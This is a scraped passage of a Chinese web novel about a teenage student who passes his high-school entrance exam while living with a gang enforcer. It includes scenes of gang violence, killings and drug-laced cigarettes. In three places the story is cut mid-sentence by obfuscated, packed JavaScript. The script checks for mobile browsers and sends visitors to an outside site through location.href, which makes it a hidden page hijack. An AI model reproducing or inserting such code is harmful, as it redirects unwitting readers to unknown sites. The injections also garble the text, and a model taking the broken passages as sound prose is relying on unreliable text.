白容生从机房出来的时候,被人从后面叫住。他回头,看见急匆匆跑出来的黎敏:“走这么快?不留下来吗?” 这是初三生最后一次在学校,不少人都会去和老师告别,或者和同学们多说会话。白容生没什么留恋的,正相反,还充满了离开这里的喜悦和轻松。 黎敏拿着一张彩色的同学录给他,不由分说让他写。白容生只得接过笔,趴在走廊墙上填写上面的无聊选项。 写字的时候黎敏谨慎地问白容生:“你对答案了没?一中应该可以吧?” 白容生正在回忆自己是什么星座,闻言道:“没对,不过我心里有数,一中应该跑不了。” “这么自信啊。”黎敏有点羡慕地说,拿过同学录,对他挥手,“拜拜啦,希望开学再做同学。” 白容生笑着和她告别,离开学校。 时间还早,崔盛今天有活,晚上回来会很晚,给白容生留了钱让他自己出去吃,遇到事就去哪家店报他哥的名字。 白容生怀疑他的姐姐们给的钱根本不够崔盛用,或者崔盛太倒贴钱养他……哪怕崔盛是叉子的得力手下,赚的钱不少,这样下去也存不下什么。 他没回家,逛了逛校门口充满盗版小说和漫画的书店,摸出一枚硬币坐上公交车。公交车经过三中的时候,白容生下车进去看了看。 校门口的保安只充当一个摆设的作用,随便出入都不管的。三中比其他几所公立高中要新,硬件设施其实还可以,就是成绩太差。 白容生走得口渴,天气也热,他算了算身上的钱,走进三中的小店,面对冰柜内的饮料犹豫了几秒钟,还是没拿果汁,拿了瓶矿泉水。 关上冰柜门的时候,斜里横过来一只手拦住,另一只手搭在他肩膀上。 白容生后背顿时紧绷了一下,面上却还是镇定地转头,就看见身后站着三个男生,都是十七八岁的样子。只有最后一个人穿着三中的校服外套,上面画满画,松垮地罩在身上。 “哟,背后看还没分出来男女,高一的?长这么矮。”搭白容生肩膀的男生笑道,“你三个学长打完球渴得要命,弟弟,请我们喝瓶水呗?” 说着,他的手还轻蔑地做出要拍打的意味,去蹭白容生的脸。 白容生侧了下头躲过,不远处小卖部的老板对此熟视无睹,显然这种事在学校里并不出奇。他也不指望能有谁来帮忙,眨了眨眼睛选择顺从:“好,我来结账。” 跟白容生不同,三个男生拿水都挑贵的拿。他们放松地说笑着,谈论某位在校外认识的“大哥”,言谈间十分羡慕,并且得意于自己终于攀到了“道上”的人,可以去网吧学着看场子了。 真正是看场子熟练工的白容生:…… 他从口袋里抓住一把零碎的钱结账,被那个穿校服外套的男生一把夺走。嫌弃地数完,将剩余的钱塞进口袋,让白容生快滚。 白容生记住了他们要去的网吧的名字,没有反抗,拿着水离开小卖部。 走出校门后他松了口气。幸亏他有经验,钱从来不会放在一个地方,口袋里只是零钱,另外多的钱都在包里。 那几个高中生见他一副瘦弱安静的样子,穿着也朴素,并不怀疑他还有别的钱,拿了点零钱便算了。 白容生离开三中,走到隔壁一条街上。学校隔壁的短短街道,挤满了饭店、服装店、花哨的精品店和网吧。 根据崔盛的嘱咐,他在一堆五颜六色的灯牌中找到了“钻石网吧”的牌子,从狭窄的楼梯走上去。网吧大门是向两边开的透明玻璃门,门后空气质量很差,吵吵嚷嚷的。 白容生走进去后,娴熟地直奔前台,对还在修指甲的网管说:“我找左哥。” 前台抬眼一瞟,见是个干干净净又瘦弱的中学生,按理说是应该赶走的。不过白容生的神态又显得对这个环境很熟悉,说话的态度让她有点摸不准:“找左哥?我们老板忙着呢,不在。” 白容生:“是崔盛让我来的。” 崔盛这个名字显然更好用,前台盯了他一眼,将信将疑地拿起电话,打过去说:“左哥,有个小孩找你,说是崔盛哥让他来的。” 左哥接了电话就知道是怎么回事,耳朵上别着烟快步出来,看到白容生,亲热地拍了拍他的肩膀:“你……你姓白,是不是?崔哥专门跟我说了,你要是在街上出事,就把我两只耳朵都割了,外面我都让他们盯着呢。怎么了?谁找你茬了?” 白容生缓慢地眨了下眼睛,他说:“左哥,你们跟斜对面那家千年网吧关系怎么样啊?” 左哥揽着他往里面走,眼睛一瞥:“那是黑腿的店。你问这个怎么,去上网的时候他多收你钱了对不对?那个xx养的贱货,等着,晚上咱们这边正打算带人去收拾那群狗东西呢。” “左哥,你们和他家有仇?”白容生仰头笑了笑,“他们没多收我钱,就是今晚要去他们那帮忙的人里,刚刚从我这里拿了点零钱,我想要回来。” 左哥把烟换了只耳朵,猛一拍手:“不长眼的蠢货!崔哥的弟弟就是我的弟弟,敢在这里拿我弟弟的钱,这我能饶了他?晚上哥带你过去,你认认人,哥敲他几颗牙给你玩。” 白容生和缓地说:“不用了左哥,我只要拿回来钱。对了,还有件事,”他抬起黑漆漆的眼睛,“这事你别跟我哥讲。” 崔盛的段位比这些单纯混店里收保护费的混混高,下手自然也更狠毒。白容生一是觉得这种小事不值得劳烦崔盛,二是怕崔盛插手反而把小事闹大。 当然,左哥对此很乐意。崔盛专门托他照顾这个不知道哪里冒出来的弟弟,结果这边白容生就在他地盘上被人抢了钱,他面子还能往哪里搁?能瞒则瞒,免得崔盛回来扇他耳光。 先前他还怀疑,崔盛是不是喜欢上玩同性恋这种时髦的偏门,才专门认了个虚假的弟弟。今天看白容生这个都没发育完全的个头,觉得崔盛应该口味没有那么怪,估计是什么亲戚家的弟弟跟在他身边。 白容生在包间角落坐下,左哥给他开了瓶汽水,他就安安静静地喝着汽水看电影。 等晚上七点钟后,外面陆陆续续来了一堆人。左哥从抽屉里拿出几个指虎戴上,点了两个人专门护着白容生,挥手:“走!” 学校旁边,不止是收店家和摊贩的保护费,学生也是这群混混的目标。利益多了,冲突也会跟着增加。 本来左哥是管着这条街网吧的头头,上个月对面来了个叫黑腿的混混后,就拉着几个和他不对付的老板成立了另一条战线。他心里有火,早就憋着想打一架了。 打输了,左哥差不多得让出半条街。打赢了,黑腿那几个人就得滚蛋。左哥通过崔盛已经成了叉子的人,今晚掏钱多叫了几个真正的狠茬,准备让黑腿在床上好好躺几个月。 十几个人挤挤攘攘地一齐出去,白容生跟在最后面,心不在焉地听左哥在前面讲,黑腿之所以叫黑腿,是因为他十几岁的时候在纹身店做学徒,手艺很烂,在自己身上纹,弄得整条右腿小腿乌黑乌黑的,后面在道上就叫黑腿了。 白容生手无寸铁,抱着书包,准备拿到钱就跑。是左哥认为这样不行,硬是给他书包里塞了一把水果刀。 他的手放在书包里玩着那把刀,冰凉的刀柄硌着手心。 很快,穿过遍布夜市油烟气息的街道,左哥叼着烟,推开千年网吧的大门。 “黑腿!”他中气十足地喊了一声,“你奶奶个腿的,给爷爷滚出来!” 这个开场白让他身后的混混们很满意,掏出手里的家伙开始起哄。但白容生看了两秒,却觉得不对。 左哥背对着他们,站在那里,大喊之后就不动了。 从小培养出来的敏锐直觉令白容生迅速扫视周围,脚下已经开始后退。 千年网吧里面没开灯,黑暗寂静。左哥面朝着里面,终于,他瞪大了眼回头,身体呈现出一种别扭的、将扭未扭的姿态,戴着银灰色指虎的手滑稽地挥了两下。 就跟在演什么三流电视剧似的,他不太连续地说:“有、有埋伏!” 说话的时候他的口中涌出血水,最后他转过来了,肚子中央插着一把没入到刀柄的刀,刺破夏天的薄衣服,毫无阻碍地捅了进去。 白容生看清发生了什么后,当机立断转身就跑。夜市人多,又是放学之后,他靠着身体瘦小钻进人群,绕了两个弯,才从另一个方向绕回家。 他脖颈、后背都被汗湿透了,头发黏在脸上,上楼之前还神经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姓左的之前拎不清,自以为在短短一条街上收点保护费就能耀武扬威称王称霸。叉子都懒得露面,让崔盛带几个人去通知他,从此以后他将多一个交钱的老板,不服的话,那就只能让他滚了。 崔盛没进门,站在网吧外抽完一根烟,姓左的就带着满袖子的血连滚带爬出来,赔着笑塞给他一个鼓鼓囊囊的钱包,表示从此为叉子鞍前马后。 这是个有点胆量但又胆量不够的小混混,好处是识时务,该服软的时候绝不含糊。大事不能办,小事还可以,更何况确实是三中旁边盘踞多年的地头蛇,崔盛就让他派人在路上跟着白容生,免得他不在的时候出事。 没想到姓左的办事实在不牢靠,白容生被拿了钱不说,他自己都在自己地盘被捅了。 才下楼,崔盛就接到了电话。是铁算盘打来的,他说这次不止是几个小混混的事,对面网吧里有大雁的人,冲的就是在叉子的地盘上打死叉子的人。 某种意义上,左老板比较倒霉,被选中成为了这个导火索。 大雁是老资历的大混混,地盘和扩张后的叉子紧挨着,这段时间摩擦不少。约莫是半个多月前,他的一家烟酒店被叉子的人砸了,这一回是报复来了。 崔盛回忆片刻,好像还是他带人砸的。 铁算盘说叉子正在和女人泡温泉,不好打扰,他就先安排。让崔盛等人到了,现在就去把那家网吧给砸烂。 崔盛应了,又问那个左老板情况如何。 “死了。”铁算盘说,“听说肚子上被捅了好几刀,肠子流得一地都是,没到医院就没气了。你们看情况,最好让对面也留下条人命,不过如果警察来管闲事,下次再说。” 他们这边仓促应对,对面可是准备万全。但是面子更重要,今晚不找回场子,明天就要传叉子对大雁认输了。 崔盛就很不明白那些无知的小混混为什么对他、对叉子大雁之流那么崇拜,说到底都是这些事。幸运混出头的有钱花有烟抽有酒喝,能去洗头房去足浴城,再等着哪天突然死掉或者被抓进去,最后发现这些年干的都是无聊的事。 不过这并不代表他看着那些好好读书上班的人就有意义,读书和打架一样,都是很无聊的事。只是崔盛更擅长干这个,他就从学校离开了。 大概目前为止,他无聊的生活里唯一有趣的事就是养白容生。白容生是不觉得读书上学无聊的,每天都充满希望和野心,崔盛看着他,感觉生活还是挺有意思的。 10. 第 10 章 崔盛半夜回到家,白容生被子都没盖,对着风扇正睡觉。他把风扇关了,拿过被子的时候白容生醒了,叫了声哥。 “钱放枕头下面。”崔盛说,“好好收着。” 他身上有股血腥味,还有其他不太好闻的烟酒味,把白容生弄清醒了,从床上坐起来。屋里很黑,白容生伸手开灯,眼睛眯着看见崔盛两只手臂上都沾着血。 “被刀划了一下,没事,其他都是别人的。”崔盛注意到他的视线,主动交代,“这两天你先别出门了,等我忙完。” 白容生晃了晃脑袋,凑近看他手臂上长长的伤口,边缘翻开,血倒是流得不多了,但看着也很吓人。 他下床,指着崔盛:“你现在跟我去楼下诊所。” 崔盛估计是楼下这家小诊所的常客,诊所大夫见他进来,戴上眼镜,啧啧两声也不说别的,利索地帮他把手上包好。白容生挨着崔盛坐,等回家了才严肃地问:“你去网吧那边了?发生了什么?” “上面老大抢地盘,下面人打架罢了。”崔盛轻描淡写,“所以我说了,不让你去那些店干活,指不定人家哪天打架顺手给你一刀。在家看看书算了,钱够用。” 伤口不能沾水,白容生找了个塑料袋套在崔盛手上。崔盛潦草冲个澡出来,本来想睡沙发,被白容生赶进了卧室。 这个房间已经充满了白容生生活的痕迹。书桌、台灯、书柜、床单,林林总总,连窗帘都换了,跟崔盛格格不入。他手长脚长地占了半边床,还有点不习惯。 白容生把风扇的头拧过去,打了个哈欠爬回来,趴在崔盛身边。崔盛下意识揽了他一把,白容生就往他身上一靠,没一会便睡着了。 崔盛睡前,心里难免发愁:白容生到底还能不能长个了? 接下来几天,崔盛早出晚归,有一两天都不回来睡觉。白容生在家里很无聊,自己做饭味道一般,闷得要长草。 夏天伤口容易发炎,崔盛手上的刀伤反复撕裂,就没长好过。他跟不知道痛一样,管都不管。总算最后一次事情结束,崔盛在楼下踢开折了的钢管,那边大雁和叉子挂着假笑,从楼上下来,虚伪地喝止他们别打了。 血从崔盛手上滴下去,他甩了甩手腕,没说话,走回叉子那边。 这时候,身后忽然一凉。本能让崔盛猛地一躬身,头都没回,就地一滚再起来,看见背后一个不认识的年轻人拿着铁棒,脸上都是血。他左耳朵掉了,也是体力耗尽,盯着崔盛喘气。 “干什么,干什么,啊?”大雁顿时喝道,“都说停手了,还偷袭,你是谁手下的?” 崔盛隐约记得这只断裂的耳朵或许和他有关,耸一耸肩,回头看叉子的脸色。 叉子的表情不太好,他抬手一拍崔盛的肩,意味深长道:“这可是我的得力干将……年轻人做事还是太冲动,规矩都忘了啊。” 大雁也笑了,说:“看出来是个好小伙子,还好没打到,不然多可惜。不多说了,这就给你赔个罪。” 他身后的两个人沉默地架起那个失去了一只耳朵的年轻人。这里是新城区的一家酒店,尽管周围还有点荒凉,但酒店本身豪华,十几楼外面有座空中花园。 崔盛他们基本上是在走廊里打的,墙壁、地毯上都乱糟糟的。现在那个年轻人在徒劳的挣扎中被拖到花园边缘,接着像只水泥口袋一般被抛了出去。 下楼坐进车里,崔盛坐前面副驾,叉子仰面在后面闭目养神。过了会,他突然说:“崔盛,你弟弟今年中考,是不是?” 崔盛眼睛一抬,通过后视镜看了眼他平和的脸:“是的。” “听说成绩不错。不过呢,我也是粗人,不懂这个,我就知道最好的那个……叫一中,是吧?差点分不怕,花钱的事。你弟到时候要是成绩不够,你就尽管跟我开口,花钱读书嘛,不叫花钱,那叫投资。” 叉子自觉说了富有哲理和文化的话,十分自得,还要寻求认同:“你说,是不是?” 崔盛明白他的脾气,没有反驳,一概赞同。 这是他第一次和叉子坐一辆车。叉子防备心很重,从不提前定好出行坐哪辆车,免得被人算计。崔盛又是从前任老大反水来他手下的,他当然担心这种年轻气盛、孤身一人的打手背叛第二次。 可现在崔盛身边养了个弟弟,这个弟弟还是那种好好读书的正经孩子,事情就不一样了。 “对了,先去医院门口把崔盛放下。”叉子对司机说,“该去看看这只手了,给你放几天假。” 崔盛说:“谢谢哥。” “不谢,客气啥呀。”叉子靠着车窗对他咧嘴一笑,“记得去外科啊,那里有个姓魏的小护士,知道你,跟人家好好聊聊。” 崔盛眉角动了动,说:“我又不想谈恋爱。” “你这是没开窍!”叉子说,“人家女孩子对你有意思,你还能这样拒绝?多没意思是吧!去去,去聊两句。” 崔盛口袋里揣着叉子给他的几张钞票,进医院挂号。到了外科,报上名字,果然没多久来了一位年轻秀气的护士。 她看见崔盛,脸上有点红,推着推车过来,小声说:“我给你处理吧,让医生看见,他们可能要报警的。” 崔盛看了她一眼,直白地说:“是叉子哥让我来这的。” 魏护士因为他生硬的语气,脸上笑有点挂不住。她咬了咬牙,还没说别的,崔盛便道:“我呢,家里还有个小孩要养,要读书上学。就算是大哥做媒,我也只有一句话,不行。” 护士不知想到什么,脸色彻底不太好看了:“你还有小孩?” 崔盛同龄人里结婚的和未婚生子的大把,他看出护士误会了,但将错就错:“是啊,天天带小孩累死,管吃管穿的,钱都不够用。” 护士那点看见幻想中英俊坏小子的少女心事,被崔盛左一句小孩上学右一句小孩吃饭击穿了个粉碎,失魂落魄地推着推车走了。 崔盛满身轻松,吊着一只手回去带白容生吃烧烤。 白容生在家对着电视都要长霉,先听见崔盛一句吃烧烤,立马跳起来关上电视,随后才看清崔盛的状况,脸色又变了:“吃什么烧烤?你的手没断吧?” “盼你哥一点好吧。”崔盛晃了晃手示意没断,“走不走?” 白容生怀疑地看他:“没事了?” “嗯,处理好了,暂时没事了。”崔盛另一只裹着纱布的手去捏白容生的脸,“我能歇两天,你就不能笑笑?” 白容生心说笑个鬼,张嘴在崔盛手上咬了一口,满嘴都是药味。 烧烤摊离洗头房不远,白容生琢磨考完试都没来得及回去看看,等吃完饭一定要回去。崔盛对着菜单,优先点肉,还是白容生看不下去,抢过菜单又要了几个素菜。 晚上天也热得很,白容生拿起桌上的广告纸叠起来扇风。崔盛问他:“你们成绩是不是快出来了?” “嗯。”白容生点头,“还有三天。出分后再过三天就知道录取结果了,会发短信通知再寄通知书。” 崔盛思考片刻:“我自己考试都不紧张,怎么听见你说要出成绩反而开始紧张了?” 白容生其实才是最紧张的那个,但他不会表现出来。倒是崔盛这么说有点让他意外,“哥,你紧张什么?” 崔盛心说你要是分不够,哥只能卖命给叉子来花钱让你去一中了。不过转念一想,他对白容生还是很有信心的,便不回答:“先吃你的吧。剩下的暑假时间能干什么……你想出去玩吗?” 这里的烧烤很有北方风味,调料味重,分量大。白容生专心致志地咬羊肉串,疑惑问:“出去玩,去哪里?” “你同学应该不少出去旅游的吧?”崔盛往后一靠,开了罐啤酒,“你不想出去玩?” 白容生犹豫了一瞬。他对外面的世界只有一个模糊的概念,大约是能够凝结为某种五光十色、华彩照人的天堂景象,但也虚幻如同海市蜃楼。 按理说,他应该期盼出去玩,不过不知怎么,竟然生出点畏怯。 “是你难得休假,想出去玩吧?”白容生说,“你想去哪?” 崔盛喝着酒笑,“我有什么好出去玩的?火车票我都不会买,我想想……去看海怎么样?” C市是个彻底的北方内陆城市,冬天干冷,连湖泊河水都缺乏。白容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168933|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生没爬过山也没看过海,对这个提议没有意见。 结果他们差点败在第一步。因为崔盛不会买车票,连要去哪一站都不知道,差点买成要坐四天三夜的通往某南方沿海城市的车票。 白容生心惊胆战,跑到大厅外面对着地图研究完,好半天终于确定了要去哪个城市。下一班车要等下午,中午他们俩就坐在候车大厅吃方便面。 崔盛默不作声给白容生碗里加了一个茶叶蛋,逼着他吃下半个蛋白。 上车后白容生昏昏欲睡。他和崔盛本来不是坐一起的票,崔盛拿着车票问白容生身边的人能不能换座,对方看了崔盛一眼,二话不说就换了。 白容生趴在崔盛肩膀睡觉,他自己都不记得睡了多久,忽然被崔盛抓着晃醒。他迷迷糊糊抬起脸,差点撞上崔盛的下巴。 崔盛仰了下头:“祖宗,谋杀呢?看外面。” 火车已经驶离单调的平原农田,前方是陌生的城镇,夕阳西下,一切笼罩在粉黄色的柔光里。 火车上冷气虽然有,白容生挨着崔盛睡那么久,身上难免出了不少汗。他直起身擦了擦脸,奇怪崔盛竟然没把他推开。 随着建筑物逐渐增多,一座比C市繁华多的城市出现在他眼前。崔盛侧过头和白容生一起静静地看,他浅色的眼瞳里,景色似乎倒映得更清晰。 白容生又好奇,又不想表现出一种很没见过世面的小家子气,看得很克制。 不过在崔盛眼里他的伪装简直不值一提,一只手捏住他的脸摇了摇,不顾白容生的反对,崔盛凑过去问:“怎么不看,不感兴趣?” 白容生对他恶劣的明知故问很烦,撇开他的手,又被崔盛捏了捏耳朵。 他打了个哈欠,就听见车上提醒,列车即将到站。 出火车站也是一番折腾,幸好他们一开始绕远了路,出站时那里没几个人,否则不知道要堵多少人在后面。 车站外少不了黑车司机,再加上这个城市临海,拉人的导游也不少。崔盛一概给冷脸,抓着白容生的手,走出去后才叫了辆车,从口袋里摸出张纸条。 他尽管缺乏经验,还不至于两眼一抹黑地带白容生出门。这个地方是崔盛的“同事”倾情推荐的,而他是崔盛目前为止熟悉的人中唯一的高中生。 这位高学历人士顺便附上了宾馆和饭店,都写在纸条上。等到了地方,面对宾馆偏高的价格,崔盛和白容生也说不出别的话。 宾馆旁边,过了一条公路就是无垠的海面。昏蓝的夜里,海面从深蓝蔓延至漆黑,能听见涛声阵阵。 包放下后,崔盛带着白容生找了家网吧。他随手拖了张椅子坐在白容生后面,沉思着点了根烟,面色严肃。 晚上八点后出成绩,可以电话查可以电脑查。白容生见到海的短暂欣喜消失,输入网址时,手心都是汗。 “不要太担心。”崔盛忽然对他说,“你一定能去一中,怎么样都能进。” 白容生:“……你殴打校长是没用的。” 崔盛不悦:“在你心里,我是这样的人?” 白容生跟他说笑话缓解压力,没想到手不小心碰到了回车键。这系统提前开放,网页空白几秒,缓缓刷新出蓝色页面。 在有点模糊和呆滞的证件照旁边,是白容生的总分和各科成绩。 白容生盯着那个数字,难得反应缓慢的时候,身后的崔盛猛一下子站了起来,头也不回地冲了出去。 他被吓了一跳,也不管电脑还开着,追出去叫道:“哥!你怎么了?” 崔盛将烟丢了,买了两罐冰箱里刚拿出来的沁凉的可乐,回身直接把白容生抱了起来。 白容生懵着,顺手抓住冰凉的可乐罐,被崔盛晃了晃说:“怎么考那么高的?考得太好了。” 直到这时,当事人白容生才慢半拍地确信那个数字不是他的幻觉。大概就算今年一中分数线涨二十分,他也能保证被录取。 白容生心说在外面,大庭广众之下应该克制……然而他也忍不住笑,想来想去,抱住崔盛的脖子,在他脸上亲了一口。 “哥,”他有些迷幻地说,“我做到了。” 11. 第 11 章 海水冲刷着脚尖,白容生有点嫌弃地用手擦掉脚踝的沙子。他被晒得不轻,出来两天,手臂、脖子都黑了一个度。 不过相比崔盛,他还是很白的。 太阳下冰淇淋化得很快,白容生匆匆舔干净,回头看见崔盛戴着墨镜走过来,对他招招手。 “哥。”白容生过去,伸出双手,拿着崔盛递来的纸巾擦手。 崔盛拿着手机,像在思考什么重大问题,满脸严肃:“我听说,今年的分数都很高,就是排名还没出,不知道你排在哪里。” 分数出来后,白容生只和黎敏有过交流。他的分意外比黎敏还高一点,白容生想,去一中应该不成问题。 倒是崔盛,完全没有游玩的心情。那晚上从网吧回来后,他就被白容生的分数吸引了所有的注意力,并且跟大部分家长一样试图打听白容生的分数排名。 当然,混混只能找到混混。和一群小学数学都算不明白的人讨论录取分数显然太离奇了,而且不知怎么,崔盛思索后凭借某种直觉,认为这些问题不适合和道上的人讨论太多,徒增麻烦。 晚上他们坐火车回去,上车前在海附近的一家小餐馆吃海鲜。 餐馆是一对本地夫妻开的,说话口音很重,但海鲜味道很好。 崔盛帮白容生拆螃蟹,白容生咬着一只钳子,忽然问:“哥,一中有点远,我到时住校吧?” 对这个问题,崔盛头都没抬,剥完手里的虾,他脱下手套喝了口啤酒:“开学再说。” “一中都是提前开学的,八月去军训完就要在学校上课。”白容生说,“我总不能每天早上六点去坐车吧,要累死了。” 崔盛摸出钞票压在桌上,简短说:“回去再看。” 白容生怀疑他有别的想法,可是崔盛嘴死严,什么都不透露。 回去的车上白容生和崔盛靠着睡觉,睡到一半,火车似乎震了一下,突然把他震醒。他困倦地睁眼,正好看见一个人站在座位旁边。 两个并排的座位,崔盛坐在靠走道的那侧,现在还歪头睡着。他的背包挂在身上,垂下去,拉链被拉开了。 白容生瞬间清醒,知道这是遇上火车的贼了。 他不清楚对面是顺手的小贼还是熟手团伙,第一时间没有声张,而是默默伸出手过去,抓住了崔盛背包的拉链。 这是一个默示,说明被偷的人发现了,只是不想闹大也不想多管闲事,提醒贼收手,双方和平结束。 但对面手指一翻,不仅不放手,还将滚出的刀片对着白容生手指切下! 白容生眼疾手快,缩回来后还是被划了一道长长的刀口。他第一次见有人这么大胆敢摸崔盛的包,一边用力摇晃崔盛叫醒他,一边毫不迟疑地大叫:“有小偷!” 火车上偷摸包的人小偷很常见,白容生一嗓子,顿时惊醒了大半个车厢昏昏欲睡的人,各自警惕地捂住包四处张望。 偷盗还没完成的小偷骂了句脏话,也不再继续,扭过去低头就走。那边没有乘警,人又多,几下就能躲开追踪。 可就在他迈步的时候,身后一股大力传来,抓住他的肩拧回去。随后不等他看清眼前,就是一记重拳砸在他脸上! 崔盛其实还没完全清醒,被白容生叫醒后接收到的唯一信息就是面前这个是小偷,那么自然先打了再说。 他手上力气不小,小偷被打得一个踉跄,差点栽倒。这时崔盛转头,看见白容生正在流血的手,两秒后眼神清醒多了,直接扯着小偷的头发,将人重重一磕。 拥挤的车厢顿时让出一小块空地。崔盛娴熟地取下小偷手中的刀片,冷笑一声,本想把这刀片插回他手心里,却被白容生从后面抓住手腕。 他侧头看了眼,白容生起身趴在崔盛肩膀上,小声说乘警来了。 崔盛没来得及下狠手,小偷伤得不算很重,就是一时间头晕爬不起来。乘警和乘务员拥过来,看到崔盛这样子,要不是有一车厢的乘客作证,估计都要怀疑这是混混内讧互殴。 白容生举着流血的手,跟着一行人呼啦啦到了列车中部。他一看就是受害者,主要是小偷和崔盛要被带过去问话。 他坐在一边,乘务员帮他包手指,还给他开了瓶酸奶。 崔盛很快出来了。他反击的行为完全正当,某种情况下还成了个好人,毕竟火车上的小偷通常是团伙作案,经常乘客被偷了也不敢声张。 他对白容生招手,顺便把白容生给他留的半瓶酸奶几口喝光,“手怎么样?” “还好,已经不疼了。”白容生问,“他偷走了什么东西?” “手机被摸走了,钱包我贴身放着,没事。”崔盛边走边活动着脖颈,顺便将手机塞给白容生,“多亏你机灵,马上到站,他直接跑了,到时候就找不回来了。” 虽说有最后这段插曲,但整体而言这段旅行还是比较愉快的。 白容生忍着抠门省钱的心,在海边的时候花钱找摄影师拍照并且印了两张照片。照片没什么奇特的,就是他和崔盛站在沙滩上,穿着廉价衬衫戴着两顶遮阳草帽,还用手比了很傻气的拍照姿势。 照片塑封好了,白容生找出两只小夹子夹住,崔盛再接过去挂在卧室窗边。旁边吊着一只椰子壳,原料为之前喝过的椰子,崔盛在上面挖出几个洞试图呈现出一张可爱的人脸——当然最终效果不怎么样。 不论如何,白容生这间卧室看着逐渐像一个高中生卧室了。 坐车后浑身疲惫,白容生第二天睡到中午,被电话铃声吵醒。 他昏昏沉沉地坐起来,拿过手机,听了半分钟后双眼睁大,直到电话挂断,还坐在那里。 “恭喜”、“录取”、“一中”等关键词连成串,环绕着白容生,几乎让他飘飘欲仙,甚至怀疑是幻觉。 好一会,白容生直接跳下床,赤脚踩着地冲出卧室,然后直接撞上了崔盛。 并不大的客厅里来了几个陌生人,崔盛就站在卧室门口,一回身把冲出来的白容生搂住,轻轻将他换了个方向:“回去躺着,等会再出来。” “哎?是你那个弟弟?” 坐在中间的男人举着烟斗,咳了声,“又不是小孩子,出来见见面吧。” 白容生感觉到崔盛落在他肩膀上的手紧了一下,抓得他有点疼。他仰头看崔盛的脸,崔盛没看他,揽着他转过去,说:“这位,你得叫铁叔。” 铁叔看上去三十多岁,脸长得和气,头发发灰,嘴边始终带着笑。他身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“浪费,浪费。”铁算盘笑道,“打手之类的,从来不缺有狠劲的年轻人。可是脑子好使的自己人太少了,咱们不能靠几家歌舞厅、一点小货活一辈子,是不是?” “你呀,”最后铁算盘上车前,留下一句,“你就要好好地照顾你弟,让他成材。” 白容生坐在门后等崔盛回来。等了好久,他都不耐烦时,崔盛才进门。 他身上烟味很重,尽管表情如常,白容生还是嗅出了不对劲的气息。 “怎么了?” 崔盛摆手没说话,白容生歪头看他的脸,慢吞吞说:“我刚刚接到电话,我被录取了。” 崔盛走出两步,才回头,像是刚理解他说了什么:“真的?一中录取通知?” 白容生点头,他仰面出了口气,伸手把白容生抱起来,也不知道怎么想的,手臂用力,直接将白容生一抛。 “……喂!” 白容生差点以为头要撞上天花板,吓得落下来的时候紧紧搂住崔盛的脖子,生怕再被扔出去。 他看不见崔盛的脸,埋在崔盛肩膀上,听见崔盛深深吸了两口气后说:“你去住校,一开学就去。” 12. 第 12 章 白容生认真觉得崔盛有点疯病。 他坐在书桌前犯困,脸下面垫着崔盛不知道从哪里找来的高一数学课本,上面除了几个丑陋的涂鸦,干干净净没有一丝学习痕迹,堪比新书。 之前回避住校这个提议的是崔盛,现在坚持要白容生去住校的也是崔盛。 热风从窗外涌入,旁边的风扇吱吱转着。白容生盯着书上的公式发呆片刻,又把抽屉里那张简单的录取通知书翻出来举着看。 昨天他拿着这个回到洗头房,以方琴为首,几个还没睡醒、头发乱糟糟的女人按顺序传阅这个通知书。表情之严肃,仿佛白容生即将去读大学。 中午,白容生和她们几个围坐一桌,买了酒菜,对着白容生他妈留下的一张小小遗照敬酒。 方琴说,白容生能考上高中,就说明她们几个对得起当初小姐妹生死之交的情谊。 她又拍白容生的肩膀,表示白容生等以后记得回来给她们几个办后事,不至于没人管,就是对得起这些年在洗头房吃的饭。 白容生年纪小,只跟着喝了一小杯白酒。难闻的酒味散开在口腔,胃里变得火热,他揉了揉鼻尖,默默点头。 吃完后,方琴坐在那对着遗照抽烟,其他几人都摇摇晃晃回去睡觉。白容生将桌子收拾完,拎着垃圾袋出门。 “小白。”方琴夹着烟撒着拖鞋叫他,对他招手,“来这里。” 白容生迷惑地走过去,方琴吐出烟圈:“那个姓崔的,对你还好吧?我看你长高长胖了,他估计对你不错。但是咱们都知道他是什么人,你以后是要走正经大路的,不好跟这种人太牵扯,懂不懂?” 白容生下意识反驳:“这个不影响什么,而且哥他……” 方琴按住他的肩膀,打断他的话:“他联系过我了,说打算让你住校,每学期的住宿费和饭钱都由他掏。他比你懂事,要上学,肯定得好好读书的嘛。” 这件事崔盛没跟他讲,白容生愣了愣,没说话。 方琴最后深吸口气把烟抽完,带着一种迷蒙的表情,将一个深蓝色、沾着污渍的布包塞给白容生。 那包沉甸甸的,白容生手忙脚乱接住,同时被呛得直咳。他边咳,边用力闻了闻飘出来的烟,眉心皱起来。 “姐,你烟里卷了什么东西?” 方琴一愣,随后捏着仅剩的一截烟笑:“狗鼻子……管那么多?” 白容生沉默,知道吸加料的烟对她们来说是很常见的事。镇痛、提神、刺激身体,比吃药管用。 他不再追究这个问题,打开包看一眼,发现里面是不太整齐的钞票,大额小额都有。 “姐!” 白容生被吓到了,下意识就要把包塞回去。但方琴没要,还推他肩膀:“把包藏好,叫你哥来接你。姐就给你这么多,不能全吃你哥的,以后没什么事就别回来了,好不容易能上学,安心读书吧。” 见白容生不愿意,方琴又抬手在他后背拍了一巴掌:“去!别不听话。” 跟他小时候犯错挨骂被打一模一样,白容生晃了晃头,想说什么又说不出来。 